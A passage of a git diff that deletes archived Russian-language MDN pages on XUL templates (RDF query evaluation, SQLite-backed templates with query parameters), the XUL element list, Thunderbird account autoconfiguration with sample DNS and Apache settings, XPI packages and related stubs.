-        <button label="?relateditem"/>
-      </hbox>
-    </action>
-  </template>
-  <hbox id="http://www.xulplanet.com/rdf/B">
-    <button label="http://www.xulplanet.com/rdf/A"/>
-    <button label="http://www.xulplanet.com/rdf/B"/>
-  </hbox>
-  <hbox id="http://www.xulplanet.com/rdf/C">
-    <button label="http://www.xulplanet.com/rdf/A"/>
-    <button label="http://www.xulplanet.com/rdf/C"/>
-  </hbox>
-  <hbox id="http://www.xulplanet.com/rdf/D">
-    <button label="http://www.xulplanet.com/rdf/A"/>
-    <button label="http://www.xulplanet.com/rdf/D"/>
-  </hbox>
-</vbox>
-
-

Для следующей итерации точками вставки контента станут три элемента <hbox>. Тем не менее, поскольку только узел C имеет дополнительный контент, только во второй элемент <hbox> будут вложены дополнительные дочерние элементы. -

Для вложенных элементов конструктор обрабатывает запрос как обычно; разве что в качестве начальной точки (seed) вместо атрибута ref используется конечная вершина (end point or member). Причём это значение должно соответствовать атрибуту id подходящего элемента. Вначале обрабатывается узел B: -

-
(?start = http://www.xulplanet.com/rdf/B)
-
-

После проверяется условие <triple>, однако из узла B не выходит дуга с меткой relatedItem, поэтому результат отбрасывается. Поскольку нет никаких результатов, контента не создаётся. Аналогичная ситуация и с узлом D. Тем не менее, для узла C условие выполняется и к промежуточным результатам добавляется набор данных: -

-
(?start = http://www.xulplanet.com/rdf/C, ?relateditem = http://www.xulplanet.com/rdf/D)
-
-

Image:Template-guide-p9.png -

Поскольку имеются результаты, к контенту, соответствующему узлу C, будет добавлена новая информация - согласно инструкциям в блоке action. Поскольку переменная ?start указывает на узел C и переменная ?relateditem указывает на D, будут добавлены кнопки именно с этими надписями. Посмотрите на приведённый рисунок и проверьте это. Теперь контент для узла C выглядит так: -

-
<hbox id="http://www.xulplanet.com/rdf/C">
-  <button label="http://www.xulplanet.com/rdf/A"/>
-  <button label="http://www.xulplanet.com/rdf/C"/>
-  <hbox id="http://www.xulplanet.com/rdf/D">
-    <button label="http://www.xulplanet.com/rdf/C"/>
-    <button label="http://www.xulplanet.com/rdf/D"/>
-  </hbox>
-</hbox>
-
-

Рекурсивная природа шаблонов имеет полезное применение при работе с меню и деревьями, позволяя автоматически создавать вложенный контент. Мы узнаем больше о рекурсивных шаблонах позже, а пока что рассмотрим более-менее реалистичный пример. -

diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\321\201\320\270\320\275\321\202\320\260\320\272\321\201\320\270\321\201_\320\267\320\260\320\277\321\200\320\276\321\201\320\276\320\262_rdf/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\321\201\320\270\320\275\321\202\320\260\320\272\321\201\320\270\321\201_\320\267\320\260\320\277\321\200\320\276\321\201\320\276\320\262_rdf/index.html" deleted file mode 100644 index 016a7679c9..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\321\201\320\270\320\275\321\202\320\260\320\272\321\201\320\270\321\201_\320\267\320\260\320\277\321\200\320\276\321\201\320\276\320\262_rdf/index.html" +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Синтаксис запросов RDF -slug: Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL/Синтаксис_запросов_RDF -tags: - - Руководство_по_шаблонам_XUL ---- -

Давайте рассмотрим простой запрос с двумя условиями. Каждому условию соответствует дочерний узел элемента <query>. -

-
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
-         ref="http://www.xulplanet.com/rdf/A">
-  <template>
-    <query>
-      <content uri="?start"/>
-      <triple subject="?start"
-              predicate="http://www.xulplanet.com/rdf/relatedItem"
-              object="?relateditem"/>
-    </query>
-    <rule>
-      ...
-    </rule>
-  </template>
-</vbox>
-
-

Двум условиям запроса сопоставлены два различных тэга. Конструктор шаблонов ничего не будет создавать до тех пор, пока блок <action> пуст. Тем не менее, он имеет возможность скомпилировать правила; именно этот процесс мы и рассмотрим. -

Конструктор начинает работу, имея всего один элемент (seed), который определён тэгом <content>. Он задаёт начальную точку для обхода графа. Ясно, что нужно начинать с чего-то; тэг <content> задаёт эту вершину и поэтому должен быть первым условием запроса. Поскольку мы можем иметь только одну начальную точку, может быть использован только один тэг <content>. Таким образом начальный результат будет выглядеть так: -

-
(?start = http://www.xulplanet.com/rdf/A)
-
-

Значение переменной ?start определено атрибутом 'uri'. Выбор названия переменной оставлен на ваше усмотрение; как правило, используется название ?uri. Поскольку все правила должны использовать одну и ту же переменную для начальной вершины, назовём её ?start. Она имеет значение 'http://www.xulplanet.com/rdf/A'. Обратите внимание на то, что это соответствует значению атрибута ref, указывающего на требуемый начальный узел. Таким образом, переменная ?start становится контейнером (исходной точкой). -

Поскольку тэг <content> ничего больше не делает, т.е. не добавляет никакой новой информации, обработчик переходит к следующему условию <triple> -

На самом деле, приведённое описание работы шаблона не совсем корректно; во всяком случае, для данной программной реализации этого механизма. Начальный узел (seed) на самом деле - это внутренняя переменная, указывающая на контейнер; в данном случае это элемент <vbox>; переменная ?start получает значение атрибута ref позже, но это лишь деталь реализации, ненамного улучшающая понимание механизма работы шаблонов. Поэтому положим пока что, что имеется лишь один возможный результат. -

После анализа содержимого тэга <content> конструктор переходит к следующему условию, <triple>, которое выглядит примерно так: -

-
<triple subject="?start"
-        predicate="http://www.xulplanet.com/rdf/relatedItem"
-        object="?relateditem"/>
-
-

Условие <triple> используется для перехода по дугам в графе RDF. Атрибут predicate определяет метку дуги, по которой необходимо перемещаться. В данном случае, он имеет значение 'http://www.xulplanet.com/rdf/relatedItem', поэтому конструктор переходит по дугам с этой меткой; он может переходить по направлению, указанному в графе, либо в противоположном направлении, но только в одном направлении для каждого условия. Конструктор сам определяет, в каком направлении необходимо двигаться, в зависимости от того, какие данные известны, а какие нужно найти. Возвращаясь к имеющимся результатам, имеем: -

-
(?start = http://www.xulplanet.com/rdf/A)
-
-

Как вы помните, начальный узел (seed) был определён условием <content>. Как вы уже, наверное, догадываетесь, конструктор подставляет значение этой переменной в атрибут subject, получая: -

-
<triple subject="http://www.xulplanet.com/rdf/A"
-        predicate="http://www.xulplanet.com/rdf/relatedItem"
-        object="?relateditem"/>
-
-

На самом деле, конструктор не изменяет элемент triple, но такая условность упрощает понимание работы шаблона. Конструктор просматривает содержимое атрибутов subject и object элемента triple и пытается найти все переменные, использующие эти данные. Переменная ?start имеет значение 'http://www.xulplanet.com/rdf/A', поэтому её значение подставляется в условие. Переменная ?relateditem не имеет никакого значение, поэтому она будет оставлена как есть. После того, как значения переменных подставлены, можно выполнить запрос к графу RDF. -

Запрос выявит все дуги, выходящие из вершины 'http://www.xulplanet.com/rdf/A' с меткой, соответствующей предикату 'http://www.xulplanet.com/rdf/relatedItem'. Поскольку переменная ?relateditem неизвестна, конструктор позволяет в качестве объекта любой узел, и просмотрит в источнике данных все утверждения RDF, удовлетворяющие такому условию. В условии <triple> атрибут subject всегда соответствует узлу, из которого выходит дуга, тогда как атрибуту object соответствует узел, в который дуга входит. В данном случае конструктор будет переходить в стандартном направлении, а не в обратном. Давайте снова посмотрим на наш граф: -

Image:Template-guide-p2.png -

Начиная с вершины A и следуя по дуге relatedItem, можем видеть, что есть три возможных значения для переменной ?relateditem: узлы B, C и D. Это новые данные, поэтому конструктор добавляет их к графу результатов. Поскольку было найдено три узла, набор возможных (промежуточных) результатов выглядит так: -

-
(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/B)
-(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/C)
-(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/D)
-
-

Вы, должно быть, заметили, что переменная ?start повторяется для каждого результата. Это происходит потому, что конструктор копирует существующие данные для всех промежуточных результатов и добавляет новые данные. Точнее, это не совсем так; конструктор на самом деле использует одну копию результатов, остальные значения - это только ссылки на эту копию. -

Это может показаться несколько запутанным, но, когда мы перейдём к рассмотрению примеров, это станет более ясным. Поскольку <triple> был последним условием, конструктор переходит к этапу генерации контента, т.е. будет создано три элемента. -

diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\321\210\320\260\320\261\320\273\320\276\320\275\321\213_\320\275\320\260_\320\276\321\201\320\275\320\276\320\262\320\265_sqlite/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\321\210\320\260\320\261\320\273\320\276\320\275\321\213_\320\275\320\260_\320\276\321\201\320\275\320\276\320\262\320\265_sqlite/index.html" deleted file mode 100644 index d597289c0f..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\321\210\320\260\320\261\320\273\320\276\320\275\321\213_\320\275\320\260_\320\276\321\201\320\275\320\276\320\262\320\265_sqlite/index.html" +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Шаблоны на основе SQLite -slug: Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL/Шаблоны_на_основе_SQLite -tags: - - Руководство_по_шаблонам_XUL ---- -

-

Шаблоны могут использовать источник данных, получающий информацию из базы данных Sqlite. Это позволяет использовать информацию, полученную из базы данных, для генерации контента XUL. Чтобы сделать это, установите значение атрибута querytype корневого узла шаблона равным storage. Это позволяет рассматривать источник данных как базу данных Sqlite. -

Атрибут datasources может быть установленным равным одному из двух возможных типов значений. Во-первых, это может быть URL файла, указывающего на локальный файл. В этом случае, вы, скорее всего, будете устанавливать атрибут datasources динамически, после определения пути к файлу. Во-вторых, вы можете использовать специальную форму url: -

-
profile:filename.sqlite
-
-

Эта форма, содержащая префикс 'profile' используется для указания на файлы в директории, содержащей параметры пользователя (profile). Это полезно для хранения пользовательских данных, и применимо в том случае, если вам не нужно вычислять, где находится данная директория. Файл, находящийся в этой директории, указан после двоеточия, и в данном случае это 'filename.sqlite'. Файлы базы данных Sqlite имеют, как правило, расширение 'sqlite'. -

Точно также, как и с источниками данных на основе XML, атрибут ref в данное время не используется для источников Sqlite, поэтому вам нужно всего лишь оставить атрибут ref пустым; как правило, для этого используется специальное значение '*'.

Запрос для источника данных Sqlite представляет из себя просто предложение select языка SQL, как текст внутри элемента query. Этот простой пример иллюстрирует, как отобразить список, содержащий значения из одной колонки в таблице из базы данных. -

-
<listbox datasources="profile:userdata.sqlite" ref="*" querytype="storage">
-  <template>
-    <query>
-      select name from myfriends
-    </query>
-    <action>
-      <listitem uri="?" label="?name"/>
-    </action>
-  </template>
-</listbox>
-
-

Запрос возвращает список значений из колонки 'name' в таблице 'myfriends'. Тело блока action, начинающееся узлом с атрибутом uri="?" повторяется для каждого результата, возвращенного в результате выполнения запроса. Если запрос возвращает шесть результатов, будет создано шесть элементов списка. Атрибут label имеет специальное значение '?name'. Синтаксис, использующий знак вопроса, похож на используемый для других типов запросов. Это обозначает, что каждому атрибуту label будет сопоставлено значение из соответствующей колонки таблицы. В данном случае, значение '?name' обозначает, что необходимо подставить значение из таблицы name. В результате получим список элементов, содержащий имена из базы данных. -

Используя более сложные запросы, можно получить значения из нескольких колонок или же данные, выбранные по определённому критерию. -

-
<vbox datasources="profile:userdata.sqlite" ref="*" querytype="storage">
-  <template>
-    <query>
-      select name, email from myfriends where age >= 30
-    </query>
-    <action>
-      <hbox uri="?">
-        <label value="?name"/>
-        <label value="?email"/>
-      </hbox>
-    </action>
-  </template>
-</vbox>
-
-

Этот шаблон отображает данные, полученные из двух колонок. Всякое вхождение знака вопроса в блоке action заменяется на значение из результата запроса. В данном случае он используется дважды: в первый раз для отображения имени и во второй раз для отображения адреса электронной почты. Атрибут uri элемента hbox необходим для одного элемента внутри блока action. Для запросов Sqlite в большинстве случаев это будет самый внешний узел. -

Обратите внимание также на то, что запрос содержит оператор where, который выбирает только те строки, для которых значение поля возраст не меньше 30. -

-

Параметры запроса

-

Иногда, вам потребуется динамически изменять запрос в зависимости от определённых критериев. Вы можете использовать простой способ, изменяя текст внутри элемента query, а после перестраивать шаблон. Тем не менее, этот подход может стать громоздким и неповоротливым для более сложных запросов, и может стать источником большого количества ошибок, если для значений не были правильно обработаны специальные символы, такие как лишние кавычки и двоеточия. Это особенно важно, если вы обрабатываете значения, полученные от пользователя. -

Простым решением проблемы является использование параметров запросов, используя элемент param. -

-
<query>
-  select name, email from myfriends where gender == :wantedgender
-  <param name="wantedgender">male</param>
-</query>
-
-

В этом примере используется параметр 'wantedgender'. Прямым потомком элемента query должен быть элемент param. Атрибут name используется для определения имени параметра, а содержимое элемента param определяет используемое значение. Когда имя, предварённое двоеточием, появляется в запросе, такое как ':wantedgender' в вышеприведённом примере, значение этого параметра будет подставлено в запрос. В конечном счёте, используемый запрос выглядит так: -

-
select name, email from myfriends where gender == 'male'
-
-

При использовании такого приёма, специальные символы, такие как кавычки, обрабатываются автоматически. Если кавычки появляются в запросе, то они будут при необходимости обработаны. Теперь, чтобы настроить запрос для выбора чего-то иного, например, чтобы выбрать информацию, относящуюся к женщинам, всё что нужно сделать - это просто получить ссылку на элемент param и изменить его содержимое. Скорее всего, вы присвоите определённый идентификатор элементу param, чтобы использовать метод getElementById для доступа к нему. -

Вы можете добавить столь много параметров, сколько необходимо для выполнения вашего запроса. Пример, приведённый выше использовал строковый параметр. Тем не менее, если вам нужен числовой параметр, вам также потребуется установить значение атрибута type. -

-
<listbox id="friends" datasources="profile:userdata.sqlite" ref="*" querytype="storage">
-  <template>
-    <query>
-      select name, from myfriends where age >= :minage && age <= maxage
-      <param id="minage" name="minage" type="integer">30</param>
-      <param id="maxage" name="maxage" type="integer">40</param>
-    </query>
-    <action>
-      <listitem uri="?" label="?name"/>
-    </action>
-  </template>
-</listbox>
-
-

В данном случае age - целочисленный параметр, поэтому атрибуту type установлено значение integer. Целые числа представлены 32-битными значениями, но вы можете использовать значение int64 для 64-битных целых. Вы можете также использовать специальное значение double для вещественных чисел с двойной точностью. Если же тип не определён, то по умолчанию предполагается, что он строковый. -

Позже мы можем изменить значение параметра age, используя простой скрипт: -

-
function adjustAge(min, max)
-{
-  document.getElementById("minage").textContent = min;
-  document.getElementById("maxage").textContent = max;
-  document.getElementById("friends").builder.rebuild();
-}
-
-

Эта функция принимает два параметра, максимальное и минимальное используемое значения. Мы получаем элементы param и устанавливаем их свойства textContent равными требуемому значению. Наконец, мы перестраиваем весь шаблон. -

diff --git "a/files/ru/mozilla/tech/xul/\321\201\320\277\321\200\320\260\320\262\320\276\321\207\320\275\320\270\320\272/index.html" "b/files/ru/mozilla/tech/xul/\321\201\320\277\321\200\320\260\320\262\320\276\321\207\320\275\320\270\320\272/index.html" deleted file mode 100644 index ef599ae729..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\201\320\277\321\200\320\260\320\262\320\276\321\207\320\275\320\270\320\272/index.html" +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: XUL Справочник -slug: Mozilla/Tech/XUL/Справочник -tags: - - XUL -translation_of: Archive/Mozilla/XUL/XUL_Reference ---- -

 

- - - - - - - - - - - - -
Перечень всех XUL элементов
-

action
- arrowscrollbox
- bbox
- binding
- bindings
- box
- broadcaster
- broadcasterset
- button
- browser
- checkbox
- caption
- colorpicker
- column
- columns
- commandset
- command
- conditions
- content
- datepicker
- deck
- description
- dialog
- dialogheader
- dropmarker
- editor
- grid
- grippy
- groupbox
- hbox
- iframe
- image
- key
- keyset
- label
- listbox
- listcell
- listcol
- listcols
- listhead
- listheader

-
-

listitem
- member
- menu
- menubar
- menuitem
- menulist
- menupopup
- menuseparator
- notification
- notificationbox
- observes
- overlay
- page
- panel
- popup
- popupset
- preference
- preferences
- prefpane
- prefwindow
- progressmeter
- radio
- radiogroup
- resizer
- richlistbox
- richlistitem
- row
- rows
- rule
- scale
- script
- scrollbar
- scrollbox
- scrollcorner
- separator
- spacer
- spinbuttons
- splitter
- stack
- statusbar

-
-

statusbarpanel
- stringbundle
- stringbundleset
- tab
- tabbrowser
- tabbox
- tabpanel
- tabpanels
- tabs
- template
- textnode
- textbox
- textbox (автозаполнение в Firefox)
- textbox (автозаполнение в Mozilla)
- timepicker
- titlebar
- toolbar
- toolbarbutton
- toolbargrippy
- toolbaritem
- toolbarpalette
- toolbarseparator
- toolbarset
- toolbarspacer
- toolbarspring
- toolbox
- tooltip
- tree
- treecell
- treechildren
- treecol
- treecols
- treeitem
- treerow
- treeseparator
- triple
- vbox
- window
- wizard
- wizardpage

-
- -

См. также о XUL

- - - -

diff --git "a/files/ru/mozilla/tech/xul/\321\201\321\202\320\270\320\273\320\270/index.html" "b/files/ru/mozilla/tech/xul/\321\201\321\202\320\270\320\273\320\270/index.html" deleted file mode 100644 index a9fbd80c13..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\201\321\202\320\270\320\273\320\270/index.html" +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Классы стилей -slug: Mozilla/Tech/XUL/Стили -translation_of: Archive/Mozilla/XUL/Style ---- -

« XUL Справочник

- - - -

diff --git a/files/ru/mozilla/thunderbird/index.html b/files/ru/mozilla/thunderbird/index.html deleted file mode 100644 index 64f01ed0c2..0000000000 --- a/files/ru/mozilla/thunderbird/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Thunderbird -slug: Mozilla/Thunderbird -tags: - - NeedsTranslation - - TopicStub - - thunderbird -translation_of: Mozilla/Thunderbird ---- -

Thunderbird is Mozilla's mail/messaging application. These pages document Thunderbird and also provide links to documentation about the MailNews backend which is also used in other projects such as Eudora/Penelope, Seamonkey, Correo, etc.

- -

Thunderbird is Firefox's kid sibling, and is built on the same technical platform as the web browser. In development for many years, and currently one of the most popular open source email clients, it is used by millions of people around the world to bring together all their email accounts, newsgroup and feed reading in a familiar high-productivity environment.  (From early 2007 to early 2011 Thunderbird was developed by Mozilla Messaging, a subsidiary that was owned by Mozilla.)

- - - - - - - - -
-

Документация

- -
-
Building Thunderbird
-
Information about building Thunderbird with the comm-central repository. There's also information about how comm-central works, how the review process works and how to use the Mozilla symbol server to help with debugging.
-
MailNews Protocols
-
Rough documentation about mail protocols..
-
Представление базы данных
-
Backend information about {{ Interface("nsIMsgDBView") }} and related interfaces..
-
Thunderbird API documentation
-
Thunderbird API documentation
-
Extension documentation
-
Tutorials and tips for building Thunderbird extensions
-
Automated Testing
-
Details of Thunderbird's automated testing facilities
-
Thunderbird in the Enterprise
-
Help with deploying Thunderbird in large organizations
-
- -

View All...

-
-

Сообщество

- - - -

Инструменты

- - - - - - -
- -

 

diff --git "a/files/ru/mozilla/thunderbird/\320\260\320\262\321\202\320\276\320\272\320\276\320\275\321\204\320\270\320\263\321\203\321\200\320\260\321\206\320\270\321\217/index.html" "b/files/ru/mozilla/thunderbird/\320\260\320\262\321\202\320\276\320\272\320\276\320\275\321\204\320\270\320\263\321\203\321\200\320\260\321\206\320\270\321\217/index.html" deleted file mode 100644 index aefa42d448..0000000000 --- "a/files/ru/mozilla/thunderbird/\320\260\320\262\321\202\320\276\320\272\320\276\320\275\321\204\320\270\320\263\321\203\321\200\320\260\321\206\320\270\321\217/index.html" +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: Автоконфигурация в Thunderbird -slug: Mozilla/Thunderbird/Автоконфигурация -translation_of: Mozilla/Thunderbird/Autoconfiguration ---- -

Автор: Ben Bucksch
- Пожалуйста, не изменяйте этот документ без согласования c автором

- -

Thunderbird начиная с версии 3.1 (и 3.0 в некоторых редакциях) включает в себя функционал автоконфигурации почтового аккаунта. Цель автоконфигурации состоит в том, чтобы упростить настройку подключения клиента Thunderbird к своим почтовым серверам. В большинстве случаев, пользователь лишь должен загрузить и установить Thunderbird, ввести свое настоящее имя, почтовый адрес и пароль в настройках аккаунта, и почтовый клиент полностью готов к работе для получения и отправки писем. Настолько безопасно, насколько это возможно.

- -

См. также:

- - - -

Этот документ описывает как работает Автоконфигурация в Thunderbird и что необходимо выполнить, чтобы почтовый сервер был сконфигурирован автоматически.

- -

Механизмы

- -

Thunderbird получает настройки сервера различными способами, каждый из которых предназначен для различных случаев:

- - - -

Все механизмы поиска используют домен почтового адреса в качестве основы для поиска. Например, для почтового адреса fred@example.com, поиск выполняется в следующем порядке:

- -
    -
  1. проверка tb-install-dir/isp/example.com.xml на жестком диске
  2. -
  3. проверка autoconfig.example.com
  4. -
  5. поиск "example.com" в базе ISPDB
  6. -
  7. поиск "MX example.com" в базе DNS, и для mx1.mail.hoster.com производится поиск "hoster.com" в базе ISPDB
  8. -
  9. подборка (imap.example.com, smtp.example.com и т.д.)
  10. -
- -

Мы можем добавить записи DNS SRV в качестве поддерживаемого механизма в будущем, но в настоящее время этот функционал не внедряется.

- -

Как добавить поддержку для вашего домена

- -

Классификация

- -

Если вы большой почтовый провайдер (> 100,000 пользователей) предоставляющий почтовые адреса только под несколько доменов типа "example.com" и "example.de", вы можете подтвердить конфигурацию в базе ISPDB или добавить конфигурационный файл на сервере.
-
- Если вы поддерживаете псевдонимы  почтовых адресов и имя пользователя для входа не является частью почтового адреса (например, почтовым адресом пользователя является "hero@example.com", и IMAP/POP/SMTP логином является не "hero" и не "hero@example.com", а "u67578"), вам необходимо настроить конфигурацию сервера, которая выполняет поиск логина по почтовому адресу.
-
- Если вы поддерживаете пользовательские домены, то есть вы "hoster.com", а ваши клиенты пользуются почтовыми адресами "fred@flintstone.com" и "louis@kent.com" как доменными, только с несколькими пользователями на домен, вам необходимо настроить конфигурафию сервера (или полагаться на MX записи в DNS).
-
- Если же вы небольшая компания устанавливающая Thunderbird на компьютеры своих работников, вы можете положить конфигурационный файл в установочную папку Thunderbird.

- -

ISPDB

- -

Database URL is <https://live.mozillamessaging.com/autoconfig/v1.1/>, append domain name, e.g. <https://live.mozillamessaging.com/autoconfig/v1.1/freenet.de>.
-
- Current process: File a bug in Bugzilla, Product "Webtools", Component "ISPDB Database Entries", with a configuration file that matches the requirements described below. Request review from bwinton, gozer or ben.bucksch.
-
- Future: add the configuration to the ISPDB server app.

- -

Конфигурация сервера почтового провайдера

- -

Given the email address "fred@example.com", Thunderbird first checks <http://autoconfig.example.com/mail/config-v1.1.xml?emailaddress=fred@example.com> and then <http://example.com/.well-known/autoconfig/mail/config-v1.1.xml>.

- -

Small company

- -

If you are a small company, you can put the XML configuration file on your web server, at URL <http://example.com/.well-known/autoconfig/mail/config-v1.1.xml>. (This is not yet finalized and subject to change.)

- -

Domain hoster

- -

If you are an ISP that hosts domains for your customers - for example, you are hoster.com and your customer registers fancy.com or example.com, and your servers accept and serve the mail for example.com -, you should set up an autoconfig server.

- -

DNS

- -

For each customer domain, you add a DNS record (in addition to the existing MX, A www etc. DNS records):
- autoconfig IN A 10.2.3.4
- or
- autoconfig IN CNAME autoconfig.hoster.com.
- ... where 10.2.3.4 and autoconfig.hoster.com are IP addresses / hostnames you own.
- This allows Thunderbird to find you as hoster.

- -

To make the Version without an autoconfig DNS Entry work you have to make sure that example.com points to the Webserver you will place the config-v1.1.xml on.

- -

Example: example.com A 10.2.3.4

- -

Web server

- -

You set up a web server bound to a physical IP address. This may be on the same machine as other web servers, but the web server must be configured to the content to any requested domain.
-
- You must use an virtual host that match all autoconfig.* domains of your customers. In Apache terms, you can use a "ip-based virtual host". In the Apache configuration files, that means something like: Listen 10.2.3.4:80 (of course, you use a public IP address that you own)

- -
<VirtualHost 10.2.3.4:80> #Must be the first and only virtual host with this ip!
-    DocumentRoot /var/www/autoconfig/
-    ServerName autoconfig.hoster.com
-    <Directory /var/www/autoconfig>
-	Order allow,deny
-	allow from all
-    </Directory>
-</VirtualHost>
- -

Place the configuration file at the URL /mail/config-v1.1.xml on that host.

- -

All config files must be served as Content-Type: text/xml (or application/xml), otherwise the file will be ignored. Also, they must use charset UTF-8 (esp. if there are any non-ASCII-characters).

- -

If you like to use name-based virtual hosts. You probably don't want to setup the autoconfig subdomain for every domain of your customers.
- You can add a Rewriterule in the default virtual host (on debian /etc/apache2/sites-enabled/000-default)  to match all autoconfig.* subdomains:

- -
<VirtualHost *:80> #Must be the first Virtual host
-	ServerAdmin webmaster@hoster.com
-	ServerName www
-	DocumentRoot /var/www
-	RewriteEngine On
-	RewriteCond %{HTTP_HOST} ^autoconfig\. [NC]
-	RewriteRule ^/(.*)	http://autoconfig.hoster.com/$1 [L,R=301,NE]
-        #...
-</VirtualHost>
-<VirtualHost *:80>
-    DocumentRoot /var/www/autoconfig/
-    ServerName autoconfig.hoster.com
-    <Directory /var/www/autoconfig>
- 	Order allow,deny
-	allow from all
-    </Directory>
-</VirtualHost>
-
- -

Файл конфигурации

- -

This is described at How to create a configuration file and defined on the sub-pages.

- -

{{ languages( { "ja": "ja/Thunderbird/Autoconfiguration" } ) }}

diff --git a/files/ru/mozilla/xpi/index.html b/files/ru/mozilla/xpi/index.html deleted file mode 100644 index e85fa09433..0000000000 --- a/files/ru/mozilla/xpi/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Кросс-платформенный модуль установщика (XPI) -slug: Mozilla/XPI -tags: - - Toolkit API - - XPInstall - - xpi - - Кросс-платформенный модуль установщика - - Модули XPI - - Установка пакетов -translation_of: Mozilla/XPI ---- -

Кросс-платформенный модуль установщика (XPI) - это ZIP-файл, используемый для установки пакетов, с использованием технологии XPInstall. Модули XPI ( так называемые "Bundles") используются для установки широкого спектра программного обеспечения , включая Plugins, Extensions, Themes, и Thunderbird dictionaries.

- -

XPI содержит инструкции по установке (install.js или install.rdf), а также фактическое программное обеспечение для установки, которое часто само упаковано как файл JAR. При загрузке или добавлении в диспетчер расширений XPInstall автоматически взаимодействует с инструкциями по установке, содержащимися в XPI, и устанавливает содержащееся в нем программное обеспечение.

- -

Архивы XPI поддерживают только файлы, хранящиеся несжатыми или сжатыми с помощью метода "deflate".

- -
-

Примечание: Начиная с {{Gecko ("2.0")}}, XPI-файлы больше не распаковываются при установке расширений. Вместо этого сам XPI помещается в каталог расширений, и файлы загружаются непосредственно из пакета. Дополнительную информацию см. в разделе Updating extensions for Firefox 4.

-
- -

Когда файлы XPI передаются через HTTP, тип MIME application / x-xpinstall должен соответствовать расширению файла xpi.

- -

Смотрите также

- - - -

{{ languages( { "de": "de/XPI", "fr": "fr/XPI", "ja": "ja/XPI", "pl": "pl/XPI" } ) }}

diff --git "a/files/ru/mozilla/\320\261\320\265\320\267\320\276\320\277\320\260\321\201\320\275\320\276\321\201\321\202\321\214/index.html" "b/files/ru/mozilla/\320\261\320\265\320\267\320\276\320\277\320\260\321\201\320\275\320\276\321\201\321\202\321\214/index.html" deleted file mode 100644 index afce2ad92a..0000000000 --- "a/files/ru/mozilla/\320\261\320\265\320\267\320\276\320\277\320\260\321\201\320\275\320\276\321\201\321\202\321\214/index.html" +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Безопасность браузера -slug: Mozilla/Безопасность -tags: - - Firefox - - Безопасность - - Разработка -translation_of: Mozilla/Security ---- -

Важный часть программирования для любого браузера, и Firefox не исключение, а также любого другого веб-проекта, это его безопасность. Статьи далее содержат справочники и руководства, как сделать Ваш код безопасным, и приводят множество рекомендаций по дизайну и тестированию проекта.

- -

{{LandingPageListSubpages}}

- - diff --git a/files/ru/new_compatibility_tables_beta/index.html b/files/ru/new_compatibility_tables_beta/index.html deleted file mode 100644 index a1aba8a14e..0000000000 --- a/files/ru/new_compatibility_tables_beta/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Новые таблицы совместимости(бета) -slug: New_Compatibility_Tables_Beta -translation_of: Archive/MDN/New_Compatibility_Tables_Beta ---- -

Возможно вы оказались на этой странице кликнув ссылку о бета статусе наших новых таблиц совместимости (Нет? Хотите увидеть новые таблицы? Станьте сами бета-тестером.)

- -

Спасибо за вашу помощь  в тестировании. Это часть намного большего проекта. Мы мигрируем наши данные о совместимости браузеров в новый, структурированный JSON.

- -

Новые таблицы будут доступны на страницах после того как данные будут конвертированы в новый формат

- -

Редактирование

- -

Наши данные о совместимости были перемещены в файлы JSON формата в  browser-compat-data репозитории GitHub.

- -

Теперь, для того чтобы внести свой вклад, просто пошлите свой запрос на изменение(pull request) или отправьте отчет(issue) в репозитории.

- -

Как помочь

- -

Если вы обнаружили какие-либо проблемы с данными  создайте новый отчет в GitHub репозитории.

- -

Если что-то неверно с отображением таблиц пожалуйста нажмите кнопку "Сообщить об ошибке" в выпадающем меню над таблицей.

- -

Мы также были бы признательны вам если вы сможете потратить немного времени, приняв участие в нашем опросе.

diff --git a/files/ru/nsiobserver/index.html b/files/ru/nsiobserver/index.html deleted file mode 100644 index 75da303f26..0000000000 --- a/files/ru/nsiobserver/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: nsIObserver -slug: nsIObserver -tags: - - Интерфейсы - - 'Интерфейсы:Frozen' - - Справочник_XPCOM_API -translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIObserver ---- -

« Справочник XPCOM API

-

Краткое описание

-

nsIObserver обеспечивает объекту возможность принимать сообщения. Такие сообщения обычно (но не всегда) рассылаются с помощью интерфейса nsIObserverService.

-

-
